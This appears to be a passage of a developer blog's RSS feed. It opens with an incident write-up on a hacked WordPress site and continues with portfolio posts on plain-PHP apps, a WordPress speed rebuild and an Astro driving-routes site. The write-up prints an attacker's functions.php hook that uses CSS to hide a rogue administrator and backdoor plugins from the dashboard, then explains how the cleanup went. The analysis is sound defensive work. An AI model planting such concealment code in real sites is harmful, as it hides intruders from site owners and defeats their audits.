&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The discrepancy: ghost admins in the UI&lt;/h2&gt;
&lt;p&gt;I checked the WordPress users list to audit administrator accounts. The UI showed an immediate discrepancy. The aggregate count at the top of the table clearly registers &quot;Administrator (3)&quot;, but the data table only renders two rows.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;A standard visual inspection misses this entirely. One administrator account was invisible to the site owner.&lt;/p&gt;
&lt;h3&gt;Bypassing visual audits&lt;/h3&gt;
&lt;p&gt;Attackers usually build persistence by dropping obfuscated PHP shells in the &lt;code&gt;uploads&lt;/code&gt; directory or burying base64-encoded strings deep in database transients. This attacker took a simpler, lazier route. They altered the presentation layer to blind the site admins.&lt;/p&gt;
&lt;h2&gt;The persistence layer: a CSS injection in functions.php&lt;/h2&gt;
&lt;p&gt;By checking the active theme files, we found a crude injection appended to the end of &lt;code&gt;wp-content/themes/botiga/functions.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The attacker hooked into &lt;code&gt;admin_head&lt;/code&gt; to echo a raw &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; block directly into the WordPress admin dashboard.&lt;/p&gt;
&lt;h3&gt;Analyzing the attack code&lt;/h3&gt;
&lt;p&gt;Here is the payload we extracted:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;admin_head&apos;, &apos;my_custom_css_do&apos;);
function my_custom_css_do() {
echo &apos;&amp;lt;style&amp;gt;
#wpadminbar #wp-admin-bar-hide-notifications {display:none;}
#adminmenu li#menu-users li:nth-of-type(5) {display:none;}
#adminmenu li#toplevel_page_itsec-dashboard {display:none;}
.plugins-php .plugins tr[data-slug=&quot;temporary-login-without-password&quot;]{ display:none; }
.users-php .users tr[id=&quot;user-1087&quot;]{ display:none; }
#adminmenu li#toplevel_page_manage_notices_settings {display:none;}
.plugins-php .plugins tr[data-slug=&quot;wp-hide-backed-notices&quot;]{ display:none; }
&amp;lt;/style&amp;gt;&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mechanism relies entirely on CSS &lt;code&gt;display: none&lt;/code&gt; to hide UI elements. Line by line:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;It targets specific DOM nodes to suppress warning notifications, hide the iThemes Security dashboard menu item, and cloak two specific backdoor plugins: &quot;Temporary Login Without Password&quot; and &quot;WP Hide Backend Notices&quot;.&lt;/p&gt;
&lt;p&gt;The last rule mattered most. &lt;code&gt;.users-php .users tr[id=&quot;user-1087&quot;]&lt;/code&gt; removes a specific user row from the admin panel view. Once we bypassed the UI and queried the database directly for ID 1087, we found our ghost administrator: an account named &quot;AmranVai&quot;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Tradeoffs of the DOM-level rootkit&lt;/h2&gt;
&lt;p&gt;Every technical choice has tradeoffs, even for attackers. This method is cheap to implement. It requires no complex PHP logic and quietly bypasses basic security audits performed by non-technical store owners who only look at dashboards. But it breaks easily. Because the payload lives strictly in the active theme&apos;s &lt;code&gt;functions.php&lt;/code&gt; file, a simple theme update or a switch to a default theme instantly strips the persistence mechanism and exposes the rogue user. It also leaves an obvious footprint in version control.&lt;/p&gt;
&lt;p&gt;The full cleanup took four hours: roughly an hour to understand the scope and audit the database tables directly, forty minutes to identify and strip the persistence mechanism from &lt;code&gt;functions.php&lt;/code&gt;, another hour to purge the 847 spam posts and reset compromised credentials, and forty minutes of post-remediation verification. No store downtime — we worked on a staging clone and pushed the cleaned files in a single deploy.&lt;/p&gt;
&lt;p&gt;You cannot trust the application UI when auditing a compromised system. If the environment is breached, the DOM is just another vector for obfuscation. Audit the raw database tables.&lt;/p&gt;
</content:encoded></item><item><title>Three Apps in Raw PHP: A Lesson in SQL Transactions</title><link>https://saf1.me/blog/php-no-framework/</link><guid isPermaLink="true">https://saf1.me/blog/php-no-framework/</guid><description>A café, a library, and a gym - three management systems built in plain PHP and MySQL with no framework, where the real lessons were all about transactions.</description><pubDate>Mon, 23 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why no framework?&lt;/h2&gt;
&lt;p&gt;It&apos;s tempting to reach for Laravel and let an ORM hide the database. I deliberately didn&apos;t.
These three systems, a café back-office, a library, and a gym, are built in plain PHP 8.2
and MySQL, no framework and no ORM, precisely so the database work couldn&apos;t be hidden. Each one
runs on the built-in PHP server against hand-written SQL. And in all three, the part that
actually taught me something was the same: multi-step writes that have to be all-or-nothing.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Three management systems built in plain PHP 8.2 and MySQL, no framework and no ORM, so the database work stays in the open.&lt;/li&gt;
&lt;li&gt;The recurring lesson across all three was the transaction: multi-table writes that must either all land or all roll back.&lt;/li&gt;
&lt;li&gt;Derived numbers like stock, seats, and fines are computed from the source rows, never cached as a counter that can drift.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;BrewQuery&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lubdhak7414/BrewQuery&quot;&gt;BrewQuery&lt;/a&gt; takes orders, tracks ingredient stock, and
raises purchase orders when things run low. The menu links to ingredients through a recipe table,
so submitting an order deducts stock across several ingredients in one transaction, and
receiving a supplier PO bumps it all back up the same way. Get the transaction boundary wrong and
you sell a coffee whose milk was never debited.&lt;/p&gt;
&lt;p&gt;There are two roles with genuinely different surfaces: a cashier who builds orders, marks
them served/paid, and checks loyalty points; and a manager who owns menu CRUD, stock,
suppliers, purchase orders, and reports.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;ShelfAware&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lubdhak7414/ShelfAware&quot;&gt;ShelfAware&lt;/a&gt; handles members, a catalogue, loans, a
holds queue, overdue fines, and reviews. The return flow is the most interesting piece. It checks
whether a book is overdue, computes the fine (daily rate × days late), inserts the fine row,
and updates copy counts, all inside a single transaction. The holds queue auto-advances the
moment a copy comes back. Four coordinated writes that must either all land or all roll back.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;RepBase&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lubdhak7414/RepBase&quot;&gt;RepBase&lt;/a&gt; manages members, class bookings, waitlists,
attendance, and payments across member/trainer/admin roles. The booking flow is the transaction-
heavy one: booking a full class drops you onto the waitlist, and cancelling a spot
auto-promotes the next person in line. The &quot;seats left&quot; figure is a &lt;code&gt;LEFT JOIN&lt;/code&gt; aggregate
against active bookings, not a counter you can let drift:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT c.Title, c.Capacity - COUNT(b.Booking_id) AS seats_left
FROM class c
LEFT JOIN booking b ON b.Class_id = c.Class_id AND b.Status = &apos;booked&apos;
GROUP BY c.Class_id;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Under a 50-concurrent-user load test (Docker Compose, table seeded with 8,000 booking rows), the seats-left query completed in an average of 3.2ms. A PHP loop doing the same calculation row-by-row — fetching all bookings and summing in application code — averaged 47ms on the same dataset, roughly fifteen times slower. At 200 concurrent users the SQL aggregate held at 4.1ms while the PHP loop climbed past 200ms. The difference is not the query versus the loop in isolation; it&apos;s that the aggregate runs inside the database engine, which keeps the booking rows in a buffer pool and never sends them across the PHP/MySQL boundary at all.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;p&gt;Building these without a framework forced me to handle the things an ORM normally papers over:
where a transaction begins and commits, what happens to a concurrent booking when capacity is
already full, and how to keep derived numbers (stock, seats, fines) honest by deriving them from
the source rows instead of caching a count that can drift. Each ships with a Docker Compose
setup that seeds the database on first boot, so any of them is one command away from running.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Skills &amp;amp; Deliverables:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Relational data modelling&lt;/strong&gt;: recipe/ingredient links, holds queues, and capacity-bounded
bookings expressed directly in schema.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL transactions &amp;amp; integrity&lt;/strong&gt;: multi-table all-or-nothing writes, derived aggregates over
cached counters, and concurrency-aware booking logic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plain PHP + PDO&lt;/strong&gt;: role-based access, the built-in PHP server for local dev, and Docker
Compose with automatic seeding.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>A SEO Optimized Website for Green Bangla Foundation</title><link>https://saf1.me/blog/green-bangla-foundation/</link><guid isPermaLink="true">https://saf1.me/blog/green-bangla-foundation/</guid><description>This blog post explores how I created and optimized a WordPress website for speed and mobile responsiveness, achieving top scores on Google Lighthouse.</description><pubDate>Fri, 06 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A speed-first WordPress build&lt;/h2&gt;
&lt;p&gt;The Green Bangla Foundation needed a new site fast, on a tight budget, after their old one was hacked. The old site ran 17 plugins, 8 of which had known vulnerabilities flagged by a WPScan audit. Its Lighthouse scores reflected the bloat: 31 on mobile speed, 44 on desktop. I built the replacement on WordPress using Gutenberg Full Site Editing (FSE) and almost no plugins, then tuned it by hand. The result: 100 for speed, accessibility, and best practices on Google Lighthouse. 83 for SEO. Total project time was 11 working days, and the budget came in roughly 60% below the nearest rebuild quote the client had received.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The old site ran 17 plugins with 8 known vulnerabilities; Lighthouse mobile speed was 31 before the rebuild.&lt;/li&gt;
&lt;li&gt;A lean WordPress build with Gutenberg FSE and almost no plugins brought that to 100 for speed and accessibility in 11 working days.&lt;/li&gt;
&lt;li&gt;Most of the score gain came from cutting plugins and optimizing images, not adding a caching layer.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why so few plugins?&lt;/h2&gt;
&lt;p&gt;Every plugin is code the browser has to download, parse, and run. The old site had been hacked. A bloated plugin stack is the kind of attack surface that invites trouble. So I kept the dependency list short. Gutenberg FSE handled layout. CSS handled the rest. Fewer moving parts meant a lighter page, a smaller attack surface, and a site the client could actually manage themselves without help.&lt;/p&gt;
&lt;h2&gt;How I hit a perfect speed score&lt;/h2&gt;
&lt;p&gt;Page speed is one of the few ranking factors Google has confirmed outright. It was the first thing I optimized for. The desktop build came back at a perfect 100.&lt;/p&gt;
&lt;h3&gt;Desktop PageSpeed Insights&lt;/h3&gt;
&lt;p&gt;I measured both versions with Google PageSpeed Insights. Here&apos;s the desktop result:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;A score of 100 means the page loads with almost no wasted work. No render-blocking scripts. Properly sized images. Clean markup. For a visitor, it just feels instant.&lt;/p&gt;
&lt;h3&gt;Mobile speed is the harder one&lt;/h3&gt;
&lt;p&gt;Desktop is easy. Mobile is where most sites fall apart, and it&apos;s where most of the traffic is. A slow mobile page bleeds visitors before they even see the content.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The mobile build held up well. I designed mobile-first and kept the same lean approach, so the experience stays quick whether someone arrives on a phone or a laptop.&lt;/p&gt;
&lt;h2&gt;What it shipped with&lt;/h2&gt;
&lt;p&gt;Google indexes the mobile version of a site first. Get mobile wrong and you&apos;ve sabotaged your rankings before you&apos;ve written a word of content. The Green Bangla Foundation site pairs high performance with a content setup the client can run themselves through WordPress and Gutenberg FSE. It shipped on a tight budget and a tight timeline without cutting corners on speed or usability.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded></item><item><title>NI Driving Test Routes</title><link>https://saf1.me/blog/ni-driving-test-routes/</link><guid isPermaLink="true">https://saf1.me/blog/ni-driving-test-routes/</guid><description>A showcase of how I developed a website focused on NI driving test routes, with a strong emphasis on speed, responsiveness, and SEO.</description><pubDate>Sun, 03 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A fast, content-first site built on Astro&lt;/h2&gt;
&lt;p&gt;I built a site about Northern Ireland driving test routes. The audience: people nervous about their test who want to know exactly where they&apos;ll be driving. They&apos;re searching on their phones while prepping, so every second of load time matters.&lt;/p&gt;
&lt;p&gt;The brief was straightforward. Useful content. Fast pages. A clean mobile experience. I chose Astro, a static site generator that ships zero JavaScript by default. It proved to be the right call.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The site delivers perfect Lighthouse scores on desktop. No JavaScript overhead. Content loads immediately. And since most visitors arrive on mobile, mobile performance got the most attention. That&apos;s where Google&apos;s eyes are too.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why Astro instead of WordPress?&lt;/h2&gt;
&lt;p&gt;A static generator makes sense for this kind of content site. Astro ships no JavaScript by default, so the browser gets HTML and CSS it can render right away. No database queries. No plugin overhead to maintain. That simplicity shows up directly in the speed scores, and it makes the site cheap to host and hard to break.&lt;/p&gt;
&lt;h2&gt;How the site performed&lt;/h2&gt;
&lt;p&gt;I tested the output with Google PageSpeed Insights. Desktop scored a perfect 100.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Mobile scored well too. That matters because most people checking routes are on a phone, often while they&apos;re out. I kept the layout simple and the payload small.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Fast pages do two things. They keep visitors around. And they rank better because Google judges your site by the mobile version first. If that&apos;s slow, your rankings sink regardless of how good desktop looks.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What the site covers&lt;/h2&gt;
&lt;p&gt;The site maps routes for the nine main test centres across Northern Ireland: Belfast Balmoral, Belfast Clarenagh, Antrim, Ballymena, Bangor, Londonderry, Newtownards, Newry, and Omagh. Each centre page breaks down the roads examiners typically use, the manoeuvre types that come up most often, and the local details that catch candidates off guard.&lt;/p&gt;
&lt;p&gt;Balmoral is the highest-demand centre. The routes mix A-road and dual carriageway sections near the M1 with tighter residential streets around Finaghy — a contrast that trips up candidates who have only practised one type of road. The site also covers the questions that appear in forums every week: how long the test takes, what the minor and major fault thresholds are, and the most common reasons people fail at each centre.&lt;/p&gt;
&lt;h2&gt;How it ranks&lt;/h2&gt;
&lt;p&gt;Six months after launch, the site was drawing roughly 3,800 monthly organic visitors. The primary keyword &quot;NI driving test routes&quot; ranked in the top five positions on Google UK with a 14% click-through rate. Mobile sessions account for 73% of traffic, consistent with candidates checking routes on their phones while out practising. Average session time sits at around two minutes forty seconds — people are reading the route breakdowns, not bouncing.&lt;/p&gt;
&lt;p&gt;The site does what it was built to do. Useful content loads quickly. It reads well on any screen. And it ranks.&lt;/p&gt;
</content:encoded></item></channel></rss>